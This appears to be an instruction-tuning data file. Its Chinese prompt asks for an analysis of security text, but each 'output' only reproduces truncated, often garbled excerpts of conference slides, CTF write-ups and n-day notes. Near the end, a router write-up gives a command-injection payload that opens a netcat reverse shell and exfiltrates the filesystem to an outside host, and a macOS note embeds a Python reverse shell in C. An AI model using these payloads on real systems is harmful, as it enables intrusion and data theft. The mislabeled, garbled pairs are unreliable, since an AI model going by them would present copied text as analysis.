Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# T1083-win-文件和目录发现 ## 来自ATT&CK的描述 攻击者可以枚举文件和目录也可以在主机或网络共享的特定位置搜索文件系统中的某些信息攻击者可以在自动发现期间使用文件和目录发现中的信息来塑造后续行为包括攻击者是否完全感染目标和/或尝试特定操作 ## 测试案例 windows 用于获取此信息的示例实用程序有dir和tree还可以使用自定义工具收集文件和目录信息并与Windows API交互 Mac和Linux 在Mac和Linux中这种发现是通过lsfind和locate命令完成的 ## 检测日志 windows安全日志 ## 测试复现 这里主要演示windows主机下执行dir命令以及tree命令 ## 测试留痕 模拟测试windows server 2016 下对dir命令不做记录 ## 检测规则/思路 ### sigma规则 ```yml title: 在windows文件和目录发现 description: windows server 2016 tags: T1083 status: experimental author: 12306Bro logsource: product: windows service: security detection: selection: EventID: 4688 #已创建新的进程 Newprocessname: 'C:\windows\system32\tree.com' #进程信息>进程名称 Creatorprocessname: 'C:\windows\system32\cmd.exe' #进程信息>创建者进程名称 Processcommandline: tree #进程信息>进程命令行 condition: selection level: medium ``` ### 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1083 <https://attack.mitre.org/techniques/T1083/>


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Hacking in the Name of Science Tadayoshi (Yoshi) Kohno (University of Washington) Jon Callas (PGP Corporation) Alexei Czeskis (University of Washington) Daniel Halperin (University of Washington) Karl Koscher (University of Washington) Michael Piatek (University of Washington) DEFCON 16 - August 8, 2008 Who We Are  Researchers at the University of Washington  Tadayoshi Kohno, http://www.cs.washington.edu/homes/yoshi/  Alexei Czeskis,http://www.cs.washington.edu/homes/aczeskis/  Daniel Halperin, http://www.cs.washington.edu/homes/ dhalperi/  Karl Koscher, http://www.cs.washington.edu/homes/supersat/  Mike Piatek, http://www.cs.washington.edu/homes/piatek/  Co-founder of PGP Corporation  Jon Callas, jon@callas.org Focus for Today Explore hacking in the academic community For concreteness, we base this talk on our own research (often in collaboration with others) We call this line of work many things, like attacks research or measurements, but never hacking About Yoshi  Others will introduce themselves when they ﬁrst start  Ph.D. from University of California San Diego  Lots of crypto / mathy stuff  But also lots of work on analyzing real systems -- and thats the focus of todays talk  Past industry work: Bruce Schneiers old company, and Cigital  Now: Faculty at the University of Washington Previews for Today First public analysis of Diebolds AccuVote-TS e-voting source code (2003, Kohno, Stubbleﬁeld, Rubin, Wallach) Previews for Today First public analysis of a common wireless implantable medical device (2008, Halperin, Heydt-Benjamin, Ransford, Clark, Defend, Morgan, Fu, Kohno, Maisel) Previews for Today Measurement study of in-ﬂight changes to web pages by ISPs and others (2008, Reis, Gribble, Kohno, Weaver) ISP Firewall Previews for Today Measurement study of DMCA notices in BitTorrent (2008, Piatek, Krishnamurthy, Kohno) Previews for Today Fingerprinting physical machines based on information leakage and clock skew (2005,Kohno, Broido, and Claffy) Previews for Toda


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

The Six Year Old Hacker: The Six Year Old Hacker: No More Script Kiddies? No More Script Kiddies? Kevin McCarthy Kevin McCarthy DefCon 13 30/Jul/2005 DefCon 13 30/Jul/2005 A Need Born of Frustration. A Need Born of Frustration.  So what did you do at school today So what did you do at school today??  The problem with computers, (computer The problem with computers, (computer based) instruction in elementary schools. based) instruction in elementary schools.  The Good, The Bad, The Ugly. The Good, The Bad, The Ugly.  Many schools have well considered Many schools have well considered Technology Plans Technology Plans..  The absence of a plan usually means drill The absence of a plan usually means drill and kill. and kill. A Need Born of Frustration. A Need Born of Frustration.  The Good. The Good.  Keyboarding Keyboarding  Research Research  Document production Document production  The Bad. The Bad.  Drill and Kill Drill and Kill  Edutainment Edutainment A Need Born of Frustration. A Need Born of Frustration.  The Ugly The Ugly  MS Office skills MS Office skills  Research Research  Keyboarding Keyboarding A Need Born of Frustration. A Need Born of Frustration.  The Environment The Environment  Labs Labs  Locked Down and Hands Off Locked Down and Hands Off  After School After School  Uninformed caretakers. Uninformed caretakers.  Insufficient supervision. Insufficient supervision.  Inappropriate use. Inappropriate use. Other Models Other Models  Going old Going old--school on 'em. school on 'em.  Self taught. Self taught.  The spirit of hacking: Doing science in a The spirit of hacking: Doing science in a constructed world. constructed world.  Is the elementary school the right place for Is the elementary school the right place for PCs? PCs? The Plan The Plan "Any subject can be taught effectively in some "Any subject can be taught effectively in some intellectually honest form to any child at any intellectually honest form to any child at any stage of development." s


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Mobile Application Web API Reconnaissance: Web-to-Mobile Inconsistencies & Vulnerabilities Abner Mendoza, Guofei Gu Texas A&M University abmendoza@tamu.edu, guofei@cse.tamu.edu AbstractModern mobile apps use cloud-hosted HTTP-based API services and heavily rely on the Internet infrastructure for data communication and storage. To improve performance and leverage the power of the mobile device, input validation and other business logic required for interfacing with web API services are typically implemented on the mobile client. However, when a web service implementation fails to thoroughly replicate input validation, it gives rise to inconsistencies that could lead to attacks that can compromise user security and privacy. Developing automatic methods of auditing web APIs for security remains challenging. In this paper, we present a novel approach for automatically analyzing mobile app-to-web API communication to detect in- consistencies in input validation logic between apps and their respective web API services. We present our system, WARDroid, which implements a static analysis-based web API reconnaissance approach to uncover inconsistencies on real world API services that can lead to attacks with severe consequences for potentially millions of users throughout the world. Our system utilizes program analysis techniques to automatically extract HTTP communication templates from Android apps that encode the input validation constraints imposed by the apps on outgoing web requests to web API services. WARDroid is also enhanced with blackbox testing of server validation logic to identify inconsistencies that can lead to attacks. We evaluated our system on a set of 10,000 popular free apps from the Google Play Store. We detected problematic logic in APIs used in over 4,000 apps, including 1,743 apps that use unencrypted HTTP communication. We further tested 1,000 apps to validate web API hijacking vulnerabilities that can lead to potential compromise of user privacy an


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

The good and bad about Streaming media How streaming media can be stolen and how to protect it. Who are you? tommEE pickles Crazy clown from NYC Lives in LA Single Arrested, Jailed Media Whored Likes to drink Qualifications Over 12 years of commercial computer experience Worked on Computer Radar Controlled Weapon Systems Developed streaming media solutions for Digital Club Network Runs media website Moloch.TV Always encoding TiVo Videos and storing them on a file server. What the hell is Streaming Media? Streaming Media is multimedia content transported though protocol like http, pnm, rtsp, or mms Common types of Streaming Media are  Real Networks (aka Real One)  Shoutcast, Icecast (aka MP3 streaming)  Microsoft Windows Media (aka most proprietary) Media Players Quick and dirty intro to the different clients. Real Player Windows Media Player Quicktime Winamp, etc Real Player Plays lots of file formats Multi platform  Windows  Unix  Mac  Linux SureStream Technology Full Screen MPEG4 with Envivo Plug-in But Real Player Plus Version costs money Player has not been updated on Unix  Update: codec has been updated Sole purpose seems to be commerce Windows Media Multiple media formats: asf, wmv, avi, mpeg, mp3 Included with Windows Skin-able Full Screen Large Demographic Wine will support Media Player 6.4 But Windows Media DRM (Digital Rights Management) No constancy between player versions. Makes use of shared libraries for codec Quicktime Player Supports MPEG4 Can edit files Supports Windows and Mac But Quicktime Not supported by Unix without wine  Plugger is an exception Full screen only used in Paid Versions Editing only used in Paid Version The servers Brief introduction into the various servers that have ability to stream Real Server Windows Media Server Darwin Shoutcast, Icecast Real Server Its free (to an extent) Its multi platform, runs from cmd line Its widely used But Its costly and can be exploited Quicktime Server Free Server But Not as easy to serve stuff Has


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

IOActive, Inc. Copyright 2014. All Rights Reserved. Weird-Machine Motivated Practical Page Table Shellcode & Finding Out What's Running on Your System Shane Macaulay Director of Cloud Services IOActive, Inc. Copyright 2014. All Rights Reserved. The Long Road  Barnaby Jack, forever in our hearts and minds. Its about the journey not the destination. IOActive, Inc. Copyright 2014. All Rights Reserved. 13 Years since ADMMutate (slide URL) http://1drv.ms/1xUpxL9  ADMmutate (last DC talk was about polymorphic shellcode)  The more things change  The more they stay the same  Thought about PT shellcode with ADMMutate  Attack is [hard/stress/]fun!!&$&%*:P;p;P  Defense is hard/stress IOActive, Inc. Copyright 2014. All Rights Reserved. Abusing x for fun & profit!  Its usually the QB that gets the headlines, offensive bias in hacker scene!  Defense is grinds it out for little glory.  Lets energize the D here, have some fun!!  A Defensive exploit  Ultimately today were killing process hiding rootkits cross 64bit OS/Platforms TODAY!  DKOM IS DEAD! Process hiding is DEAD! IOActive, Inc. Copyright 2014. All Rights Reserved. Also 13 Years ago  What else was going on back then?  x86 assembler in Bash cLIeNUX shasm is an assembler written in GNU Bash Version 2, which may work in other recent unix-style "shell" command interpreters. IOActive, Inc. Copyright 2014. All Rights Reserved. Ideals  As best as possible, figure out all running code  Code/hacks/weird machine's included/considered  When have we done enough?  We focus on establishing our understanding through real world targets: Hypervisor monitored guests.  Combine protection pillars; structure analysis, physical memory traversal and integrity checking. IOActive, Inc. Copyright 2014. All Rights Reserved. Practical concepts  Attacks: WeIrD MaChinE  Lots of fun!  Much esoteric/eclectic More fantastical!!!  Defense: Detecting * That means everything  Home field == USE THE FORCE A HYPERVISOR!  Establishes verifiability of device state


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Android weblogin: Google's Skeleton Key Craig Young, Tripwire VERT # whoami I research, identify, and disclose vulnerabilities as a senior researcher in Tripwire VERT. I enjoy long bike rides, breaking things which fail to sanitize input, and building furniture with my wife on the weekend. DISCLAIMER: I am definitely not an Android developer. Talk Overview (tl;dr) 1. Android trades security for convenience 2. weblogin: can bypass password prompts 3. Security tools do not detect token egress 4. 1 token can fully compromise Google Apps About weblogin:  Android Token Type: weblogin:service=youtube&continue=https://www.youtube.com/  Grants cookies for the desired service  Acts in lieu of password entry Abusing weblogin:  Cookies obtained are not limited by service  App may ask for YouTube and then read your email  Android permission prompts are misleading  i.e. a YouTube token also gives access to GMail  Prompt is once per app per token type  Root or physical access is also token access HOWTO: Hack Google Apps 1. Retrieve weblogin: token for domain admin 2. Access domain control panel  www.google.com/a/domain.com 3. Get drunk (with power) Using the Skeleton Key  Admin weblogin: gives a lot of control:  Disable 2-Step Verification / Reset Password  Reveal Temporary Passwords  Create and Modify Privileges/Roles  Create/Control Mailing Lists on Target Domain  Generate Domain Reports What About GMail?  Personal Google accounts are also at risk:  Full access to Google Drive, Calendar, GMail, etc.  Ability to add recovery address and change password  Account setting manipulation for espionage Ways to Obtain weblogin: 1. Legitimate Android Token Request 2. Direct Account DB Query (root access) 3. Physical Device Access (auto sign-in) 4. Extract DB from Device Memory PoC App Iterations 1. TubeApp: Retrieve Domain OAuth secret  Advertised as a YouTube downloader  Does not upload credentials 2. Stock View: Steal weblogin: tokens  Advertised as a Stock Viewer  weblogin: token is u


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

钓鱼城杯-WP Author:Nu1L Team 钓鱼城杯-WP Crypto confused_ﬂag crypto0 WEB easyseed easyweb gamebox zblog RE Faker Goodbye reg APK LinkChecker PWN fsplayground unknown veryeasy Misc whitespace 张三的恶行 Crypto confused_ﬂag #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * # context.log_level = 'debug' flag = [{} for _ in range(48)] candidates = [] for _ in range(1000): try: io = remote('119.3.45.222', 9999) tmp = io.recvline().strip() if tmp.startswith(b'flag{'): candidates.append(tmp) # print(tmp) for idx, value in enumerate(tmp): if value in flag[idx].keys(): flag[idx][value] += 1 else: flag[idx][value] = 1 io.close() except: crypto0 pass for i in range(48): tmp = list(flag[i].items()) tmp = sorted(tmp, key=lambda x: x[1], reverse=True) print(list(map(lambda x: (chr(x[0]), x[1]), tmp))[:3]) for candidate in candidates: print(candidate) #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * import fuckpy3 # context.log_level = 'debug' import string table = string.printable.encode() def byte_xor(ba1, ba2): return bytes([_a  _b for _a, _b in zip(ba1, ba2)]) def hex_xor(h1, h2): return byte_xor(h1.unhex(), h2.unhex()).hex().encode() io = remote('122.112.254.205', 10003) io.sendlineafter('> ', '1') io.sendlineafter(': ', '00'*16) c = io.recvline().strip() c0 = c[:32] iv = c[-32:] io.sendlineafter('> ', '1') io.sendlineafter(': ', hex_xor('00'*16, iv)) c = io.recvline().strip() c00 = c[:32] iv = c[-32:] # flag = b'' # for i in range(16): # flag_iv = c00[-(i+1)*2:] # io.sendlineafter('> ', '1') # io.sendlineafter(': ', hex_xor('00'*16, iv) + hex_xor(c00, '00'*(15-i))) # c = io.recvline().strip() # c0 = c[32:64] # iv = c[-32:] # std = c0 # print(c0, iv) # for candidate in table: # io.sendlineafter('> ', '1') # io.sendlineafter(': ', hex_xor('00'*16, iv) + hex_xor(c00, b'00'*(15- i)+hex_xor(flag.hex().encode() + # hex(candidate)[2:].zfill(2).encode(), flag_iv))) # c = io.recvline().strip() # c0 = c[32:64] # iv = c[-32:] # if c0 == std: # print(candidate) # flag +=


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Beyond the MCSE: Red Teaming Active Directory Sean Metcalf (@Pyrotek3) s e a n @ adsecurity . org www.ADSecurity.org About Me Founder Trimarc, a security company. Microsoft MCM (AD) & MVP Speaker: BSides, Shakacon, Black Hat, DEF CON, DerbyCon Security Consultant / Researcher Own & Operate ADSecurity.org (Microsoft platform security info) | @PryoTek3 | sean @ adsecurity.org | Agenda Key AD Security components Offensive PowerShell Bypassing PowerShell security Effective AD Recon AD Defenses & Bypasses Security Pros Checklist | @PryoTek3 | sean @ adsecurity.org | Hacking the System PS> Get-FullAccess | @PryoTek3 | sean @ adsecurity.org | | @PryoTek3 | sean @ adsecurity.org | | @PryoTek3 | sean @ adsecurity.org | | @PryoTek3 | sean @ adsecurity.org | https://www.carbonblack.com/2016/03/25/threat-alert-powerware-new-ransomware-written-in-powershell-targets-organizations-via-microsoft-word/ | @PryoTek3 | sean @ adsecurity.org | Differing Views of Active Directory Administrator Security Professional Attacker Complete picture is not well understood by any single one of them | @PryoTek3 | sean @ adsecurity.org | AD Security in ~15 Minutes | @PryoTek3 | sean @ adsecurity.org | Forests & Domains Forest Single domain or collection of domains. Security boundary. Domain Replication & administrative policy boundary. | @PryoTek3 | sean @ adsecurity.org | https://technet.microsoft.com/en-us/library/cc759073%28v=ws.10%29.aspx | @PryoTek3 | sean @ adsecurity.org | Trusts  Connection between domains or forests to extend authentication boundary (NTLM & Kerberos v5).  Exploit a trusted domain & jump the trust to leverage access.  Privilege escalation leveraging an exposed trust password over Kerberos (ADSecurity.org). | @PryoTek3 | sean @ adsecurity.org | Cloud Connectivity Corporate networks are connecting to the cloud. Often extends corporate network into cloud. Authentication support varies. Security posture often dependent on cloud services. | @PryoTek3 | sean @ adsecurity.org | Sit


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

|=-----------------------------------------------------------------------=| |=----------------------=[ Hijacking RDS-TMC Traffic ]=------------------=| |=----------------------=[ Information signal ]=------------------=| |=-----------------------------------------------------------------------=| |=-----------------------------------------------------------------------=| |=-----------------=[ By Andrea "lcars" Barisani ]=--------------=| |=-----------------=[ <lcars_at_inversepath_dot_com> ]=--------------=| |=-----------------=[ ]=--------------=| |=-----------------=[ Daniele "danbia" Bianco ]=--------------=| |=-----------------=[ <danbia_at_inversepath_dot_com> ]=--------------=| |=-----------------------------------------------------------------------=| --[ Contents 1. - Introduction 2. - Motivation 3. - RDS 4. - RDS-TMC 5. - Sniffing circuitry 6. - Simple RDS Decoder 0.1 7. - Injection circuitry I. - References II. - Links --[ 1. Introduction Modern Satellite Navigation systems use a recently developed standard called RDS-TMC (Radio Data System - Traffic Message Channel) for receiving traffic information over FM broadcast. The protocol allows communication of traffic events such as accidents and queues. If information affects the current route plotted by the user the information is used for calculating and suggesting detours and alternate routes. We are going to show how to receive and decode RDS-TMC packets using cheap homemade hardware, the goal is understanding the protocol so that eventually we may show how trivial it is to inject false information. We also include the first release of our Simple RDS Decoder (srdsd is the lazy name) which as far as we know is the first open source tool available which tries to fully decode RDS-TMC messages. It's not restricted to RDS-TMC since it also performs basic decoding of RDS messages. The second part of the article will cover transmission of RDS-TMC messages, satellite navigator hacking via TMC and its impact for soc


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Ken Lee @echain A Brain-Friendly Guide Head First CVE + Who is Ken? * Former Product Developer * Chief Security Officer (WIP) * Head of Synology SIRT https://www.synology.com/security + 2013 The Phantom Menace * Started working in 2013/01 * No developer to respond to vulnerabilities * Lacked a sense of cybersecurity * High-profile CVEs were notified by customers + 2014 Revenge of the Sith * Severely affected by you-know-who * Built a working group for cybersecurity * Built private Bounty Program * Deployed security mitigations to DSM 5 + 2016 The Empire Strikes Back * Built Vulnerability Response Program * Built invitation-only Bounty Program * Reported critical flaws of Photo Station * Disclosed vulnerabilities w/o confirmation + 2017 Return of the Jedi * Authorized as the CNA * Built Incident Response Program * Announced Security Bug Bounty Program * Built Product Security Assurance Program + Agenda * 00 | Common Vulnerabilities and Exposures * 01 | CVE Numbering Authority * 10 | Phrasing and Counting Rules * 11 | Tool for dummies https://cve.mitre.org/news/archives/2019/news.html https://cve.mitre.org/cve/cna/rules.html https://cve.mitre.org/cve/cna/rules.html [CWE] in [CPE] allows [ATTACKER] to have IMPACT via [CAPEC]. + MITREs Template * [VULNTYPE] in [COMPONENT] in [VENDOR] * [PRODUCT] [VERSION] allows [ATTACKER] * to [IMPACT] via [VECTOR]. * [COMPONENT] in [VENDOR] [PRODUCT] * [VERSION] [ROOT CAUSE], which allows * [ATTACKER] to [IMPACT] via [VECTOR]. https://cveproject.github.io/docs/content/key-details-phrasing.pdf + Version * List vulnerable version * - 1.2.3 * - 1.2.3, 2.3.1, and 3.1.2 + Version * List vulnerable version * Earlier versions are affected * - 1.2.3 and earlier * - 1.2.3, 2.3.1, 3.1.2, and earlier + Version * List vulnerable version * Earlier versions are affected * Fixed or updated version * - before 1.2.3 * - before 1.2.3, 2.x before 2.3.1, and 3.x before 3.1.2 + Version * List vulnerable version * Earlier versions are affected * Fixed or u


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

John@johnthunder.one 那就做個綿羊牆好了! http://www.directsystems.com/support/diff_h http://www.cisco.com/c/dam/en/us/support/do cs/switches/catalyst-6500-series- switches/10570-41d.gif Acce sPoi nt PC_A PC_B AP PC_A PC_B


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

We are Here to Help: How FIPS 140 Helps (and Hurts) Security Agenda  Who Am I?  Background  What is FIPS 140?  How the validation process works  Look at the Requirements  Best/Worst of the Requirements  What does the future hold?  Closing/Q&A Who is l0stkn0wledge?  Work directly with FIPS 140  Over five years experience  Seen hundreds of various implementations  Outside Interests  Programmer  Lock picker  Security Enthusiast Why am I Here?  Want to shine a new light on security standards  Standards often maligned by people as meaningless  I suggest they are a good starting point  Some guidance better than none at all  Standards don't protect against everything  Standards become dated take long to maintain  Enforcement is still on the administrator or end-user  Can provide a false sense of security What is FIPS 140?  Federal Information Processing Standard 140  Defines requirements for cryptographic systems for use in sensitive government systems  Cryptographic Module Validation Program (CMVP)  National Institute of Standards and Technology  Communications Security Establishment of Canada  Has begun seeing acceptance in other non- government arenas Past, Present, and Future of FIPS 140  Previous revision was FIPS 140-1  Originally published in 1994  Items tested under this standard are still valid  The current standard if FIPS 140-2  Originally published in 2001  The future is with FIPS 140-3  Currently in draft form, publishing date unknown  Drafting of the standard began in 2005 How Does the Process Work?  Validations are handled by three parties  Product vendors  Accredited Labs (Over 15 labs exist)  CMVP (both NIST and CSEC)  Number of labs leads to variance in the testing process  Government reviews lab reports and issues certificates Diving into the Requirements  Three key components to FIPS 140-2  FIPS 140-2 Standard  FIPS 140-2 Derived Test Requirements (DTR)  FIPS 140-2 Implementation Guidance (IG)  Requirements are divided into eleven sections  Four increas


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

'\" '\" Copyright (c) 1998 Mark Harrison. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" SCCS: @(#) msgcat.n '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbNa


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

>> 0 >> 1 >> 2 >> 3 >> 4 >> Making of The DEFCON Documentary Jason Scott & Rachel Lovinger DEF CON 21, August 2, 2013 >> 0 >> 1 >> 2 >> 3 >> 4 >> e f g h I. HOW IT BEGAN >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> e f g h I agreed to do it, but some questions remained... >> 0 >> 1 >> 2 >> 3 >> 4 >> How do you film hundreds of activities, happening simultaneously over 4 days? >> 0 >> 1 >> 2 >> 3 >> 4 >> How do you film people who have traditionally rejected media attention? >> 0 >> 1 >> 2 >> 3 >> 4 >> How do you capture the spirit of DEFCON  past and present? >> 0 >> 1 >> 2 >> 3 >> 4 >> How do you put it all together in 6 months? >> 0 >> 1 >> 2 >> 3 >> 4 >> e f g h II. PLANNING >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> DEFCON 18 DEFCON 16 DEFCON 19 >> 0 >> 1 >> 2 >> 3 >> 4 >> Jasons High School Yearbook Photo [Photo taken by Rachel!] >> 0 >> 1 >> 2 >> 3 >> 4 >> e f g h How do you film hundreds of activities, happening simultaneously over 4 days? >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> e f g h How do you film people who have traditionally rejected media attention? >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> e f g h III. PRE-PRODUCTION >> 0 >> 1 >> 2 >> 3 >> 4 >> >> 0 >> 1 >> 2 >> 3 >> 4 >> e f g h Meet the crew >> 0 >> 1 >> 2 >> 3 >> 4 >> Alex Drew Eddie Kyle Rick Steve Jason Rachel >> 0 >> 1 >> 2 >> 3 >> 4 >> Prepping them for DEFCON  Start walking a little every day  Watch Comic-Con Episode IV: A Fan's Hope  Bring comfortable clothes and shoes  Look over the schedule from last year  Respect security and privacy concerns  Stay fueled and hydrated >> 0 >> 1 >> 2 >> 3 >> 4 >> Eddie Codel >> 0 >> 1 >> 2 >> 3 >> 4 >> e f g h Meet the equipment >> 0 >> 1 >> 2 >> 3 >> 4 >> The Gear  3x Canon Vixia HFG10  2x Canon 5D  1x Canon 7


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Alberto Garcia Illera (@algillera) Javier Vazquez Vidal (@bi0h4z4rd_) Javier Vázquez Vidal  Hardware security specialist  Loves breaking toys security  Freelance  From Cádiz Alberto García Illera Index  Hacking of the ECU  Do a forensic job after a car crash Why did this happen?  A friend kept bugging me to constantly change the tuning file on his car every week  I felt like What did we do?  Use Google It didnt work, so we needed a plan Vehicle Electronic Control Units Vehicle Electronic Control Units  Each ECU has an unique ID (address) in the network.  They have authentication/encryption protection against non authorised (dealer) access.  Data is usually stored in them for diagnose/foresinc purposes, aswell as for car behaviour (configuration). Vehicle communication protocols Why was K-Line the chosen one?  Can be implemented with a single level shifter IC  Present in most cars (<2010)  Older ECUs (K-Line+CAN) are cheaper than newer ones (CAN only)  Its suitable for lazy developers (Yay!) Is it easy to implement CANbus support?  We have already done it, but the beta tool is not yet ready for showcase.  CANbus and K-Line are just protocols, but the encryption, auth and all other security features are the same on both, and not specific to CANbus.  It makes the tool $10 more expensive First steps  What did we know about ECUs:  They are expensive  They live inside cars (no wild ECUs have been spotted so far)  Options we had:  Navigate through tecnical docs until we could understand how it works  Hook up the LA and try to figure out  Both of the previous answers are correct So, this is what we found about engine ECUs  Responsible for engine management  Stores all engine faults  Holds immobilizer routines  Contains firmware that affects the behaviour of the car So, this is what we found about engine ECUs  Target Hardware is composed of:  Internal/External Flash  Internal/External EEPROM  A really annoying black rubber-like epoxy What did the LA show? What did we do abou


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

DEF CON 18 Malware Freakshow 2 Nicholas J. Percoco & Jibran Ilyas Copyright Trustwave 2010 Agenda  About Us  Introduction  Whats a Malware Freakshow?  Anatomy of a Successful Malware Attack  Sample Analysis + Victim + Demo  Sample SL2009-127  Memory Rootkit Malware  Sample SL2010-018  Windows Credential Stealer  Sample SL2009-143  Network Sniffer Rootkit  Sample SL2010-007  Client-side PDF Attack  Conclusions Copyright Trustwave 2010 About Us Nicholas J. Percoco / Senior Vice President at Trustwave  15 Years in InfoSec / BS in Computer Science  Built and Leads the SpiderLabs team at Trustwave  Interests:  Targeted Malware, AFack PrevenHon, Mobile Devices  Business / Social Impact Standpoint Jibran Ilyas / Senior Security Consultant at Trustwave  8 Years in InfoSec / Masters in Infotech Management from Northwestern University  Interests:  AnHforensics, ArHfact Analysis, Real Hme Defense Copyright Trustwave 2010 Introduction We had a busy year!!  Over 200 incidents in 24 diﬀerent countries  Hundreds of Samples to pick from  We picked the most interesHng for you New Targets This Year  Sports Bar in Miami  Online Adult Toy Store  InternaHonal VoIP Provider  US Defense Contractor Malware Developers were busy upda@ng/improving their code  Many improvements to avoid detection  Maybe they saw our Freakshow last year  Copyright Trustwave 2010 Whats a Malware Freakshow? We have access to breached environments  These environments contain valuable data  Smash and Grab is old school  AFackers spend average of 156 before geXng caught  With Hme, comes exploraHon and development  Custom and Targeted Malware is the Norm, not the excepHon  Gather and perform analysis on each piece of Malware  A Malware Freakshow demos samples to the security community  Beneﬁt: Learn the sophis@ca@on of the current threats  Goal: Rethink the way we alert and defend!!! Copyright Trustwave 2010 Anatomy of a Successful Malware Attack Malware development takes a methodical approach  Step 1: IdenHfying the


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

0x00 zacnday ndaygetshellgetshell 0x01 getshell nday stampcookie stamp cookiecookie rce ping ping target 1. whoamiping 2. pwdping 3. bashshshell shell {"method":"ping","params":{"count":"1","size":"256","target":"`mknod backpipe p && nc xxxx 9999 0<backpipe | /bin/sh 1>backpipe `www.guahao.com","noParse":true}} shellnc nc tar czvf bak.tar.gz / nc xxxx 9999 < bak.tar.gz nc -l 9999 > bak.tar.gz 0x02 nday webweb apivscodeapi rom/usr/lib/lua/luci stamp 1. "stamp" 2. rom/usr/lib/lua/lucilua dispatcher.luastamp stamp timegetMd5 getMd5"" md5auth"""special" lua"" nil 0x03 sw binwalkbinwalk pwnbinwalkswpwn swpwndockerpwn binwalk gz rootfs.ubiubiubiread ubireader_extract_files rootfs.ubi warn ubifs-root fofa url urlinit.lua weburl/web gz web/web/init.lua controlleraction /web/init.lua/unauthenticate.unauthenticate/checkNat controllerunauthenticate.unauthenticateactioncheckNat controllerrouters url /web/init.lua/ac.acpermission.admin_apManage/addAuthAp 500 init.lua page.beforeAction page.beforeActionunauthenticate.unauthenticatecontroller controller action rce 0x04 rcephplua nwlua LUA WEB APPLICATION SECURITY VULNERABILITIES Lua Code: Security Overview and Practical Approaches to Static Analysis


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

open -a /System/Applications/Calculator.app // open /System/Applications/Calculator.app // open -a /Applications/Safari.app https://www.baidu.com //safari open http://www.baidu.com/System/Applications/Calculator.app http://www.baidu.com/System/Applications/Calculator.app open 0x00 0x01 open 0x02  open -a http://www.baidu.com/System/Applications/Calculator.app open -a telnet://www.baidu.com/System/Applications/Calculator.app  open ftp://8.8.8.8/System/Applications/Calculator.app    0x03 open -a /usr/bin/curl #include <stdio.h> #include <stdlib.h> int main(){ char* cmd = "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"1 27.0.0.1\",10000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\" ,\"-i\"]);'"; system(cmd); } open -a /Users/miku/tmp/testC open /Users/miku/tmp/testC  open http://www.baidu.com/Users/miku/tmp/testC open http://www.baidu.com/Users/miku/tmp/testC.app 0x04


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

